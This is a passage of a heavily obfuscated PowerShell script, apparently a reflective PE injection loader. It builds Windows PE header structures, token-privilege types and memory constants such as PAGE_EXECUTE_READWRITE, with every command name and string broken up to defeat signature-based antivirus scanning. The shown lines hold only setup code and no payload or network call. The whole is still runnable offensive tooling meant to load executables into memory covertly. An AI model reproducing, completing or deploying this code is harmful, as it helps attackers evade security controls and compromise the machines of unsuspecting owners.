  228.         (${TY`pE`BuIld`ER}."defiN`eFI`Eld"('CertificateTable', ${IMag`e_dAt`A`_DIrecTORY}, 'Public'))."seTOffs`eT"(128) | &("{2}{0}{1}"-f'u','ll','Out-N')
  229.         (${TYP`EbUi`lD`eR}."dE`FI`NEf`iELd"('BaseRelocationTable', ${imAG`E`_d`A`TA_`DIR`eCtoRy}, 'Public'))."s`eTo`Ffset"(136) | &("{1}{2}{0}" -f 'Null','Out','-')
  230.         (${TyP`eBUIld`Er}."defIn`e`Fi`eld"('Debug', ${I`MagE`_DAT`A_Di`REct`oRY}, 'Public'))."SETof`Fs`eT"(144) | &("{1}{2}{0}" -f'l','Out-','Nul')
  231.         (${Typ`E`BuilDER}."D`efIN`efiELD"('Architecture', ${ImAge_`dat`A`_D`IREC`TOry}, 'Public'))."sET`ofF`set"(152) | &("{1}{0}{2}"-f'N','Out-','ull')
  232.         (${tyPeB`UIl`dER}."D`eF`IneFi`Eld"('GlobalPtr', ${I`mA`Ge_`data`_D`iRECTOrY}, 'Public'))."SEto`F`FSet"(160) | &("{2}{0}{1}" -f'ut-Nu','ll','O')
  233.         (${T`YPe`BuIlD`er}."dEf`I`N`EfiELD"('TLSTable', ${iMAg`E`_D`AT`A`_d`irECTory}, 'Public'))."Se`TOF`FseT"(168) | &("{1}{2}{0}" -f 'l','Out-Nu','l')
  234.         (${t`Yp`Ebu`ILDeR}."D`eFI`NEF`IELd"('LoadConfigTable', ${i`m`AGE`_dAT`A_D`iReCtOrY}, 'Public'))."sE`TOFFsET"(176) | &("{2}{0}{1}"-f'l','l','Out-Nu')
  235.         (${T`y`PeBUil`dER}."D`EFiNEfi`elD"('BoundImport', ${IMA`ge_DA`Ta`_dir`EC`T`orY}, 'Public'))."S`eto`FfsEt"(184) | &("{2}{1}{0}" -f'll','Nu','Out-')
  236.         (${type`B`UIlD`Er}."dEfine`FI`ELD"('IAT', ${I`MAGe_dAta_D`I`REcTORY}, 'Public'))."Set`oF`FsEt"(192) | &("{0}{1}{2}"-f 'Out','-Nul','l')
  237.         (${tY`pEb`UILDER}."DE`F`Ine`FiELD"('DelayImportDescriptor', ${I`MaGe_Da`TA`_dIrEc`TORy}, 'Public'))."setof`F`SEt"(200) | &("{1}{0}{2}" -f'-N','Out','ull')
  238.         (${tY`PE`BuI`LdEr}."D`E`FIn`efiElD"('CLRRuntimeHeader', ${i`m`AG`E_Data_dirEC`Tory}, 'Public'))."sET`OffsET"(208) | &("{0}{1}"-f'Out-','Null')
  239.         (${TY`PeBUiL`Der}."D`efin`efiEld"('Reserved', ${Im`AG`e`_D`A`T`A_dIRECToRY}, 'Public'))."SE`TOFF`set"(216) | &("{0}{1}"-f 'Out-Nu','ll')
  240.         ${IMage_`OP`TION`AL`_HEAdEr32} = ${T`Ypeb`UIL`Der}."CREA`TeT`YPe"()
  241.         ${WiN3`2t`yp`eS} | &("{0}{2}{1}" -f 'Add-M','mber','e') -MemberType ("{0}{1}{2}" -f'No','teProper','ty') -Name ("{1}{0}{4}{3}{5}{6}{2}" -f'A','IM','R32','OPTIO','GE_','NAL_','HEADE') -Value ${ImAgE`_OPtIOn`AL`_HEadEr`32}
  242.         ${aTT`Rib`Utes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  243.         ${t`y`peb`UILDER} = ${MO`d`Ul`eb`UiLDEr}."de`FIN`ETypE"('IMAGE_NT_HEADERS64', ${atT`RIBu`TES}, [System.ValueType], 264)
  244.         ${TYPe`BuI`LD`ER}."De`FInEF`i`elD"('Signature', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O')
  245.         ${Ty`Peb`U`IldEr}."DeFi`N`e`FielD"('FileHeader', ${iMage`_FiLE_`He`Ad`ER}, 'Public') | &("{0}{2}{1}" -f'Out','l','-Nul')
  246.         ${TYPEb`U`IldER}."d`EFiNefI`eLD"('OptionalHeader', ${i`ma`gE_opTiO`N`Al_`hea`deR64}, 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u')
  247.         ${im`A`Ge_NT_`H`eAdeRs`64} = ${tYPE`B`UILDEr}."C`R`EAT`eTYPe"()
  248.         ${W`IN32`TyPeS} | &("{1}{2}{0}"-f '-Member','A','dd') -MemberType ("{0}{1}{3}{2}"-f 'No','tePro','erty','p') -Name ("{3}{1}{2}{4}{0}" -f 'S64','MAGE','_NT_HEAD','I','ER') -Value ${Im`Age_`NT`_HeadERS64}
  249.        
  250.         ${A`TTR`IBUtEs} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  251.         ${tY`p`ebU`ILDEr} = ${modU`lEbui`lDer}."D`Efi`NEtyPE"('IMAGE_NT_HEADERS32', ${AT`T`RiBUTeS}, [System.ValueType], 248)
  252.         ${t`ypebu`ilder}."dEFIN`eFi`elD"('Signature', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N')
  253.         ${T`YpeB`UiLdEr}."dEfin`E`FIeLD"('FileHeader', ${imag`e_FiL`e_hEad`Er}, 'Public') | &("{0}{1}{2}"-f'Out-','Nul','l')
  254.         ${tyPEB`Ui`ld`ER}."De`Fi`N`eFIElD"('OptionalHeader', ${imaGe_OPTi`ON`AL`_`HeadeR32}, 'Public') | &("{2}{0}{1}" -f'ul','l','Out-N')
  255.         ${Im`AGe`_nt`_hEadEr`s32} = ${t`YPebu`iL`DEr}."cR`EATeT`YpE"()
  256.         ${W`I`N32Types} | &("{1}{0}{2}" -f'-Me','Add','mber') -MemberType ("{3}{0}{1}{2}"-f 'r','opert','y','NoteP') -Name ("{4}{0}{3}{2}{1}"-f 'MA','2','S3','GE_NT_HEADER','I') -Value ${i`MAge_`Nt_heADE`RS`32}
  257.         ${a`TtrIBu`TeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  258.         ${TyP`EBU`I`ldeR} = ${m`oDULEbuIl`der}."dEF`in`eTyPe"('IMAGE_DOS_HEADER', ${aTtrib`U`TEs}, [System.ValueType], 64)
  259.         ${tYPe`B`UilD`eR}."D`EFinE`FieLd"('e_magic', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','l','t-Nul')
  260.         ${T`ypEbui`LDER}."D`E`Fin`eFIeLd"('e_cblp', [UInt16], 'Public') | &("{1}{0}"-f 'll','Out-Nu')
  261.         ${TyPEb`UI`LD`Er}."defIneFi`e`ld"('e_cp', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l')
  262.         ${TY`pEb`UILD`eR}."DE`F`InEFIElD"('e_crlc', [UInt16], 'Public') | &("{1}{2}{0}" -f 'll','O','ut-Nu')
  263.         ${TYPEB`Uil`D`ER}."d`eF`inE`FiEld"('e_cparhdr', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou')
  264.         ${TyPE`B`UI`lDer}."d`E`FINEFiElD"('e_minalloc', [UInt16], 'Public') | &("{0}{1}" -f 'Out','-Null')
  265.         ${typE`BUilD`er}."De`FINEFi`Eld"('e_maxalloc', [UInt16], 'Public') | &("{0}{2}{1}"-f'Out-N','l','ul')
  266.         ${TYPeB`UI`lder}."DefIn`E`FieLD"('e_ss', [UInt16], 'Public') | &("{2}{1}{0}"-f'll','Nu','Out-')
  267.         ${t`YP`EBUil`deR}."dEF`iNeFiE`Ld"('e_sp', [UInt16], 'Public') | &("{2}{1}{0}"-f'l','t-Nul','Ou')
  268.         ${tyPEB`U`IlDer}."dEf`in`EfIELd"('e_csum', [UInt16], 'Public') | &("{0}{1}{2}" -f'O','ut-N','ull')
  269.         ${tYP`eb`UiLdER}."d`eFIN`eFi`Eld"('e_ip', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou')
  270.         ${ty`p`EBuI`LDer}."DEfIN`eFIe`lD"('e_cs', [UInt16], 'Public') | &("{2}{0}{1}"-f'ut-','Null','O')
  271.         ${tYpebUI`l`der}."d`eFIN`EfIEld"('e_lfarlc', [UInt16], 'Public') | &("{1}{2}{0}" -f'll','Out-N','u')
  272.         ${t`YPeb`UildER}."d`EfiNefie`ld"('e_ovno', [UInt16], 'Public') | &("{0}{1}"-f 'Ou','t-Null')
  273.         ${e_`ResFI`elD} = ${t`ypEBuIl`d`Er}."DEFin`efiE`Ld"('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  274.         ${CONS`TRuc`ToRv`AlUe} = [System.Runtime.InteropServices.UnmanagedType]::"ByVAl`ARR`AY"
  275.         ${Fiel`daRr`AY} = @([System.Runtime.InteropServices.MarshalAsAttribute]."ge`T`FIeLd"('SizeConst'))
  276.         ${AttR`ibbu`iL`d`ER} = &('a') ("{0}{2}{8}{4}{9}{5}{6}{1}{10}{7}{3}"-f'Sys','.Cus','te','ibuteBuilder','e','io','n.Emit','Attr','m.Refl','ct','tom')(${co`NS`TrUCTO`R`InfO}, ${cONSt`R`Uc`To`RValue}, ${Fi`EldA`RraY}, @([Int32] 4))
  277.         ${E`_REs`Fie`ld}."seTcUS`ToMatTRIb`U`TE"(${A`TTr`I`BBuiLd`eR})
  278.         ${t`y`pE`BuilDEr}."de`F`I`NEfiElD"('e_oemid', [UInt16], 'Public') | &("{1}{0}{2}"-f'ul','Out-N','l')
  279.         ${t`YpEbu`i`lDEr}."d`E`FIn`EFiElD"('e_oeminfo', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','ll','t-Nu')
  280.         ${E_reS2`FI`ELD} = ${ty`pEbUI`lD`Er}."deFI`NEFi`elD"('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  281.         ${CO`NStRuctO`R`V`A`Lue} = [System.Runtime.InteropServices.UnmanagedType]::"BYVaL`A`RrAy"
  282.         ${attri`BB`UI`ldER} = &('a') ("{2}{1}{8}{3}{11}{10}{5}{4}{6}{0}{7}{9}" -f 'ut','m.Re','Syste','ction.Emit.Cus','tri','At','b','eBuilde','fle','r','om','t')(${c`O`N`struC`ToRInFo}, ${CoN`StR`U`ctOrva`Lue}, ${FI`el`dArR`AY}, @([Int32] 10))
  283.         ${e_r`e`S2fIeLD}."sE`TC`UStomAttrIb`UTE"(${a`TtRi`BbUild`eR})
  284.         ${TY`PEbU`iLD`eR}."deFin`e`FiELD"('e_lfanew', [Int32], 'Public') | &("{1}{2}{0}" -f 'Null','O','ut-')
  285.         ${I`MAGe`_`d`OS_Hea`dER} = ${t`YPeBu`iLD`Er}."cre`ATETy`pe"()  
  286.         ${Wi`N`3`2typES} | &("{2}{0}{1}" -f 'dd-M','ember','A') -MemberType ("{2}{3}{1}{0}" -f'perty','o','Not','ePr') -Name ("{0}{4}{2}{1}{3}"-f 'IMA','D','A','ER','GE_DOS_HE') -Value ${iMA`Ge`_DoS_He`Ad`ER}
  287.         ${AtTrIb`UT`Es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  288.         ${T`Y`pe`BuIlDer} = ${mODu`L`e`BUilder}."D`efinEt`y`Pe"('IMAGE_SECTION_HEADER', ${aTT`RI`B`UTES}, [System.ValueType], 40)
  289.         ${n`AMefIe`ld} = ${t`yPeBUiL`deR}."dEfIneFi`e`LD"('Name', [Char[]], 'Public, HasFieldMarshal')
  290.         ${C`OnST`RU`cTOr`V`ALUE} = [System.Runtime.InteropServices.UnmanagedType]::"by`VAL`ArRay"
  291.         ${a`TT`Ri`BBU`iLder} = &('a') ("{7}{3}{10}{2}{0}{8}{5}{6}{1}{4}{9}" -f 't.C','ibut','on.Emi','t','eBuil','sto','mAttr','Sys','u','der','em.Reflecti')(${COnstruc`T`o`Rin`FO}, ${co`Ns`TrucToRVaL`UE}, ${f`iEL`DARR`AY}, @([Int32] 8))
  292.         ${nAm`eFIE`lD}."SE`TcUSTo`M`AT`TR`iBUtE"(${attR`IbBu`I`ldER})
  293.         ${TYPEb`U`ilD`ER}."dEf`in`efIeLd"('VirtualSize', [UInt32], 'Public') | &("{0}{1}{2}" -f'Ou','t-N','ull')
  294.         ${tyP`eBUI`ldeR}."de`F`inEfIElD"('VirtualAddress', [UInt32], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul')
  295.         ${TY`PE`BuiL`dER}."D`e`FinEFIELd"('SizeOfRawData', [UInt32], 'Public') | &("{2}{1}{0}" -f'ull','ut-N','O')
  296.         ${T`ypEbu`I`LdeR}."DEfi`NEfi`eLd"('PointerToRawData', [UInt32], 'Public') | &("{1}{2}{0}" -f 'ull','Ou','t-N')
  297.         ${tYp`Eb`UilDEr}."dE`FI`NefIelD"('PointerToRelocations', [UInt32], 'Public') | &("{0}{1}{2}"-f'Out-N','u','ll')
  298.         ${ty`Peb`UIld`er}."De`F`INEFIE`ld"('PointerToLinenumbers', [UInt32], 'Public') | &("{0}{2}{1}"-f'Out-','l','Nul')
  299.         ${ty`p`e`BUiLdeR}."DEFINE`FI`e`lD"('NumberOfRelocations', [UInt16], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul')
  300.         ${tY`Pe`B`UIlDeR}."deFin`eFI`E`ld"('NumberOfLinenumbers', [UInt16], 'Public') | &("{0}{2}{1}"-f 'Out-','ll','Nu')
  301.         ${ty`P`eBu`iLdeR}."DefI`NEfiE`LD"('Characteristics', [UInt32], 'Public') | &("{1}{0}{2}"-f '-','Out','Null')
  302.         ${im`A`GE_`Sec`TIo`N_`hEADer} = ${T`YpeBUILd`eR}."cReatE`T`ypE"()
  303.         ${w`iN32T`yPeS} | &("{2}{0}{1}"-f'd','d-Member','A') -MemberType ("{0}{3}{2}{1}"-f 'N','perty','Pro','ote') -Name ("{1}{2}{3}{0}"-f 'HEADER','IMAGE_S','ECTION','_') -Value ${imaGE_S`e`CTiON_HE`AD`eR}
  304.         ${aTTR`IBut`es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  305.         ${t`Yp`E`BUIlder} = ${mO`DuLEBu`ilDER}."DEF`i`NETY`PE"('IMAGE_BASE_RELOCATION', ${a`T`TRiBu`Tes}, [System.ValueType], 8)
  306.         ${TYPE`B`U`iLDER}."D`efiNE`FIELd"('VirtualAddress', [UInt32], 'Public') | &("{0}{1}"-f 'Out-Nu','ll')
  307.         ${T`YpeBu`IlDEr}."D`Ef`iNE`FieLd"('SizeOfBlock', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ll','ut-Nu')
  308.         ${Imag`e_BAS`e_`RelOCAT`Ion} = ${tyP`EBUiLd`ER}."C`R`eaTEtyPE"()
  309.         ${wI`N32TyP`ES} | &("{1}{2}{0}"-f'mber','A','dd-Me') -MemberType ("{3}{1}{0}{2}" -f'eProp','ot','erty','N') -Name ("{4}{1}{2}{3}{0}" -f'ATION','GE_BASE_','RELO','C','IMA') -Value ${iMA`Ge`_ba`SE_ReLOCAtI`oN}
  310.         ${ATt`R`IBUTes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  311.         ${TYPeB`U`I`LDer} = ${moDULe`B`UILd`Er}."dEFIne`Ty`Pe"('IMAGE_IMPORT_DESCRIPTOR', ${at`TRI`BuTEs}, [System.ValueType], 20)
  312.         ${TYpe`B`Uild`er}."DE`FInEFI`ELd"('Characteristics', [UInt32], 'Public') | &("{2}{0}{1}"-f'ut-N','ull','O')
  313.         ${TYpEbu`I`lDeR}."dEfIn`EFI`E`lD"('TimeDateStamp', [UInt32], 'Public') | &("{0}{1}"-f 'Out-N','ull')
  314.         ${t`yPEBUilD`eR}."D`EFIn`EfIE`LD"('ForwarderChain', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ull','ut-N')
  315.         ${TY`PEbu`iL`dER}."DEF`InEFI`e`ld"('Name', [UInt32], 'Public') | &("{2}{0}{1}"-f 't-N','ull','Ou')
  316.         ${t`ypE`BUI`LDER}."dEF`i`NefiELD"('FirstThunk', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','-Null','t')
  317.         ${i`maGe_`imP`O`RT_D`eScriP`Tor} = ${TYp`E`BuIlD`eR}."Cr`e`ATEtyPE"()
  318.         ${WiN32T`Y`p`Es} | &("{0}{2}{1}" -f'Ad','er','d-Memb') -MemberType ("{3}{2}{1}{0}" -f 'rty','ope','r','NoteP') -Name ("{1}{0}{3}{2}" -f'GE_IMP','IMA','TOR','ORT_DESCRIP') -Value ${IMage`_i`MPORt_D`ESC`RiptOR}
  319.         ${aT`TrI`Bu`TES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  320.         ${tYPe`Bu`ild`Er} = ${mO`dUL`e`BuiL`deR}."DEFiNeT`Y`pe"('IMAGE_EXPORT_DIRECTORY', ${a`TT`RIbUtES}, [System.ValueType], 40)
  321.         ${TyPebuI`l`d`Er}."deFIn`Ef`I`ELD"('Characteristics', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O')
  322.         ${tyPeB`UiL`d`Er}."d`eF`iNEField"('TimeDateStamp', [UInt32], 'Public') | &("{0}{2}{1}"-f 'Out-N','ll','u')
  323.         ${T`YPeb`UilD`er}."dEfi`Nefi`E`LD"('MajorVersion', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l')
  324.         ${t`yPEbUi`lD`er}."de`FiN`Ef`Ield"('MinorVersion', [UInt16], 'Public') | &("{2}{1}{0}" -f 'l','ul','Out-N')
  325.         ${tyPeB`UI`LdEr}."dE`F`INeFI`ELD"('Name', [UInt32], 'Public') | &("{0}{1}{2}"-f'O','ut-','Null')
  326.         ${T`YPE`BU`ildER}."d`eFIne`Fie`LD"('Base', [UInt32], 'Public') | &("{0}{1}{2}"-f 'Ou','t-N','ull')
  327.         ${Ty`pE`BuIld`er}."de`FiNEfi`eLD"('NumberOfFunctions', [UInt32], 'Public') | &("{2}{1}{0}" -f 'l','Nul','Out-')
  328.         ${T`Yp`Ebu`ILdeR}."DE`FiNeFie`LD"('NumberOfNames', [UInt32], 'Public') | &("{1}{0}{2}"-f'ut-N','O','ull')
  329.         ${ty`P`eBuiLD`Er}."DeFin`E`FIELd"('AddressOfFunctions', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','l','-Nul')
  330.         ${TYpE`BuI`lD`Er}."DEF`in`EFIeLd"('AddressOfNames', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','ull','-N')
  331.         ${TYpe`B`Uil`der}."DEFINEf`I`eLd"('AddressOfNameOrdinals', [UInt32], 'Public') | &("{2}{0}{1}" -f 'Nul','l','Out-')
  332.         ${im`A`G`E_`EXpORT_`diREctORy} = ${TYPE`B`UiLD`er}."crE`AT`ETypE"()
  333.         ${win3`2T`YPEs} | &("{1}{2}{0}" -f'd-Member','A','d') -MemberType ("{0}{1}{2}{3}" -f 'N','otePr','op','erty') -Name ("{0}{4}{5}{2}{1}{3}"-f'IMAGE_EXP','R','T_DIRECTO','Y','O','R') -Value ${I`Ma`G`E`_e`xP`Ort_`DIrEctORy}
  334.        
  335.         ${ATt`Ri`Bu`Tes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  336.         ${typeBuI`l`DeR} = ${MOd`UlE`B`UILDer}."DE`FI`N`EtyPE"('LUID', ${aT`TR`IbU`TeS}, [System.ValueType], 8)
  337.         ${t`y`peb`UiLDer}."de`F`iNeFiELd"('LowPart', [UInt32], 'Public') | &("{0}{1}{2}" -f'Out-','N','ull')
  338.         ${t`yPeBuiL`dER}."DefI`NeFIe`LD"('HighPart', [UInt32], 'Public') | &("{2}{0}{1}" -f '-','Null','Out')
  339.         ${l`UiD} = ${TYpebUiL`D`eR}."Cr`EAT`ETYpE"()
  340.         ${Win3`2TYP`eS} | &("{0}{1}{2}" -f'Ad','d-Me','mber') -MemberType ("{2}{1}{0}" -f'rty','ePrope','Not') -Name ("{0}{1}" -f 'LUI','D') -Value ${Lu`id}
  341.        
  342.         ${At`Trib`Ut`ES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  343.         ${ty`Peb`UiL`DeR} = ${m`od`ULEBUIlD`eR}."d`eF`IneTY`pE"('LUID_AND_ATTRIBUTES', ${A`T`TrIBuTeS}, [System.ValueType], 12)
  344.         ${tyPEb`U`iLdeR}."DE`F`i`NEFielD"('Luid', ${L`UID}, 'Public') | &("{2}{1}{0}"-f't-Null','u','O')
  345.         ${t`Y`PebUI`LDER}."deFIN`E`FIe`Ld"('Attributes', [UInt32], 'Public') | &("{1}{0}{2}" -f 'l','Out-Nu','l')
  346.         ${luiD`_`And_`A`Ttr`IbutEs} = ${TYPEBu`i`lDEr}."cREat`e`TYpE"()
  347.         ${W`In`32TypEs} | &("{2}{1}{0}" -f'-Member','d','Ad') -MemberType ("{0}{2}{1}" -f 'NoteP','ty','roper') -Name ("{0}{1}{2}{3}{4}" -f 'L','UID_AN','D','_ATTRI','BUTES') -Value ${LU`ID_AnD_atTR`IbU`TeS}
  348.        
  349.         ${ATT`RI`Butes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  350.         ${t`yP`eBU`iLdeR} = ${MODu`Leb`UiLD`Er}."DeFinet`Y`pE"('TOKEN_PRIVILEGES', ${ATT`RIbU`Tes}, [System.ValueType], 16)
  351.         ${typEb`UI`L`DER}."de`FI`N`efIEld"('PrivilegeCount', [UInt32], 'Public') | &("{1}{0}{2}" -f'-N','Out','ull')
  352.         ${tYPEbu`I`l`Der}."DEF`I`N`EFiEld"('Privileges', ${LUID_a`N`D_aT`Tri`BUteS}, 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N')
  353.         ${t`oke`N_`PRivIlEgEs} = ${tYpeB`UIld`er}."C`R`eATETyPe"()
  354.         ${W`iN3`2typ`ES} | &("{2}{0}{1}"-f 'd-','Member','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','pert','o','NotePr') -Name ("{4}{2}{0}{1}{3}"-f'VI','LE','N_PRI','GES','TOKE') -Value ${t`ok`eN_p`RiviLe`G`eS}
  355.         return ${WiN`32T`yP`Es}
  356.     }
  357.     Function Get-w`iN32`cOn`staNtS
  358.     {
  359.         ${W`i`N32CONSt`ANTs} = &('a') ("{3}{1}{0}{2}" -f'c','stem.Obje','t','Sy')
  360.        
  361.         ${WIn3`2`cO`N`sTaNTs} | &("{0}{2}{1}"-f 'Add-M','mber','e') -MemberType ("{1}{3}{0}{2}" -f'ropert','Note','y','P') -Name ("{0}{1}{2}{3}" -f'MEM','_C','OMM','IT') -Value 0x00001000
  362.         ${W`In32c`o`NstaNTS} | &("{0}{2}{1}"-f 'Add-M','er','emb') -MemberType ("{1}{2}{0}"-f 'perty','No','tePro') -Name ("{1}{2}{0}" -f'SERVE','MEM_','RE') -Value 0x00002000
  363.         ${w`i`N3`2CON`StANts} | &("{2}{1}{0}" -f'r','embe','Add-M') -MemberType ("{0}{1}{2}"-f'NotePr','oper','ty') -Name ("{3}{1}{2}{0}"-f'CCESS','AGE_NO','A','P') -Value 0x01
  364.         ${wIN`32CoN`sTa`NTs} | &("{2}{1}{0}" -f 'ber','dd-Mem','A') -MemberType ("{3}{0}{1}{2}"-f'roper','t','y','NoteP') -Name ("{1}{0}{2}" -f 'AGE_READO','P','NLY') -Value 0x02
  365.         ${win`32c`o`NsTANTs} | &("{2}{1}{0}"-f 'ember','dd-M','A') -MemberType ("{1}{0}{2}"-f'Proper','Note','ty') -Name ("{0}{2}{3}{1}" -f'PAGE','E','_READ','WRIT') -Value 0x04
  366.         ${Win3`2c`O`NsTAnts} | &("{2}{3}{1}{0}" -f 'er','emb','Add-','M') -MemberType ("{2}{0}{1}" -f'Propert','y','Note') -Name ("{2}{1}{0}" -f'Y','TECOP','PAGE_WRI') -Value 0x08
  367.         ${Win32C`OnSTaN`Ts} | &("{1}{0}{2}" -f'e','Add-Memb','r') -MemberType ("{1}{2}{3}{0}" -f 'erty','N','ote','Prop') -Name ("{2}{0}{1}"-f 'AGE','_EXECUTE','P') -Value 0x10
  368.         ${WI`N3`2ConstANTS} | &("{0}{2}{1}" -f 'A','er','dd-Memb') -MemberType ("{0}{3}{1}{2}" -f'N','te','Property','o') -Name ("{1}{0}{3}{2}{4}" -f'G','PA','XEC','E_E','UTE_READ') -Value 0x20
  369.         ${wIn32C`ons`T`AN`Ts} | &("{0}{1}{2}" -f'Ad','d-Mem','ber') -MemberType ("{1}{2}{0}{3}"-f 'r','NoteProp','e','ty') -Name ("{3}{1}{0}{2}"-f 'CUT','XE','E_READWRITE','PAGE_E') -Value 0x40
  370.         ${WI`N`32`CoNSt`ANTs} | &("{1}{0}{2}"-f '-Mem','Add','ber') -MemberType ("{0}{1}{2}" -f'Note','Pro','perty') -Name ("{2}{6}{0}{3}{1}{4}{5}" -f'E','E_WRI','PA','CUT','TECO','PY','GE_EX') -Value 0x80
  371.         ${W`IN32`CON`s`TanTs} | &("{2}{1}{0}"-f'-Member','dd','A') -MemberType ("{2}{0}{1}{3}"-f 'ePr','ope','Not','rty') -Name ("{1}{0}{2}"-f'E_NO','PAG','CACHE') -Value 0x200
  372.         ${W`in32co`Ns`TAntS} | &("{3}{1}{2}{0}" -f'mber','d-','Me','Ad') -MemberType ("{3}{0}{1}{2}"-f 'tePro','pe','rty','No') -Name ("{4}{2}{6}{5}{1}{0}{3}"-f '_A','ED','AG','BSOLUTE','IM','_BAS','E_REL') -Value 0
  373.         ${WiN`32co`NsT`A`NtS} | &("{1}{0}{2}"-f 'Me','Add-','mber') -MemberType ("{0}{2}{1}"-f 'No','eProperty','t') -Name ("{1}{4}{2}{5}{3}{0}" -f 'GHLOW','I','AGE_','SED_HI','M','REL_BA') -Value 3
  374.         ${wIN`3`2`c`ONSTaNTS} | &("{0}{2}{1}" -f'Add','r','-Membe') -MemberType ("{0}{1}{2}" -f 'NotePr','opert','y') -Name ("{4}{1}{0}{3}{2}{5}" -f'GE_','MA','BASED_D','REL_','I','IR64') -Value 10
  375.         ${w`i`N3`2cONSTAn`TS} | &("{1}{0}{2}" -f 'd','Ad','-Member') -MemberType ("{1}{0}{2}"-f 'P','Note','roperty') -Name ("{7}{3}{6}{0}{2}{5}{4}{1}" -f'_D','LE','IS','MAGE_SCN','RDAB','CA','_MEM','I') -Value 0x02000000
  376.         ${w`i`N32co`NSta`NTS} | &("{1}{0}{2}"-f 'd','A','d-Member') -MemberType ("{0}{2}{1}{3}" -f 'No','ropert','teP','y') -Name ("{2}{0}{4}{3}{1}"-f'_SCN_','UTE','IMAGE','XEC','MEM_E') -Value 0x20000000
  377.         ${wIn32Con`S`TA`NtS} | &("{1}{0}{2}"-f'dd-Mem','A','ber') -MemberType ("{0}{1}{2}{3}" -f 'N','oteProper','t','y') -Name ("{0}{4}{1}{2}{3}" -f'IMA','N','_MEM_REA','D','GE_SC') -Value 0x40000000
  378.         ${w`iN32CON`sTAn`Ts} | &("{1}{2}{0}{3}"-f'mb','Add','-Me','er') -MemberType ("{2}{0}{1}{3}" -f 'o','pert','NotePr','y') -Name ("{0}{3}{5}{4}{1}{2}" -f'IMA','RI','TE','GE_SCN_ME','W','M_') -Value 0x80000000
  379.         ${WiN32co`Ns`Ta`N`TS} | &("{1}{0}{2}"-f 'mbe','Add-Me','r') -MemberType ("{3}{0}{1}{2}"-f 'ro','p','erty','NoteP') -Name ("{0}{3}{2}{4}{1}"-f'IM','T_CACHED','CN_ME','AGE_S','M_NO') -Value 0x04000000
  380.         ${W`i`N`32ConstAntS} | &("{0}{1}{2}"-f 'A','dd-Me','mber') -MemberType ("{3}{0}{1}{2}"-f'pe','rt','y','NotePro') -Name ("{3}{0}{2}{1}"-f'E','OMMIT','C','MEM_D') -Value 0x4000
  381.         ${Win32`ConST`ANtS} | &("{1}{2}{0}" -f 'mber','Add','-Me') -MemberType ("{0}{1}{2}"-f'No','tePr','operty') -Name ("{6}{5}{1}{3}{7}{4}{8}{2}{0}"-f 'E','E_FILE_E','MAG','X','TABL','AG','IM','ECU','E_I') -Value 0x0002
  382.         ${w`In`32COnSTAn`Ts} | &("{1}{0}{2}" -f '-Memb','Add','er') -MemberType ("{2}{1}{0}"-f'roperty','teP','No') -Name ("{2}{1}{0}{3}" -f '_FILE_DL','AGE','IM','L') -Value 0x2000
  383.         ${wi`N32cO`Ns`T`ANTS} | &("{2}{0}{1}" -f 'em','ber','Add-M') -MemberType ("{0}{2}{1}{3}" -f 'Not','rt','ePrope','y') -Name ("{0}{2}{6}{7}{5}{1}{3}{4}" -f 'IMAG','M','E','IC_BAS','E','S_DYNA','_DLLC','HARACTERISTIC') -Value 0x40
  384.         ${Wi`N3`2`cONsta`Nts} | &("{0}{1}{2}"-f'Add','-Memb','er') -MemberType ("{2}{3}{0}{1}" -f'Propert','y','Not','e') -Name ("{10}{0}{2}{7}{3}{4}{5}{8}{6}{9}{1}" -f'E_DLL','AT','CHA','E','RI','S','NX','RACT','TICS_','_COMP','IMAG') -Value 0x100
  385.         ${w`iN`32CONsTA`NtS} | &("{2}{0}{1}" -f 'Mem','ber','Add-') -MemberType ("{2}{3}{1}{0}"-f'y','pert','Note','Pro') -Name ("{1}{2}{0}{3}"-f 'AS','M','EM_RELE','E') -Value 0x8000
  386.         ${W`In3`2cONStAn`Ts} | &("{1}{2}{0}"-f 'mber','A','dd-Me') -MemberType ("{3}{2}{1}{0}"-f'rty','Prope','e','Not') -Name ("{0}{1}{2}"-f'T','OKEN_QUER','Y') -Value 0x0008
  387.         ${WiN32`c`O`N`sTanTs} | &("{1}{0}{2}"-f'dd-Memb','A','er') -MemberType ("{0}{1}{3}{2}" -f'NoteP','r','y','opert') -Name ("{0}{5}{2}{4}{6}{1}{3}"-f 'TOKEN_A','PRIV','J','ILEGES','US','D','T_') -Value 0x0020
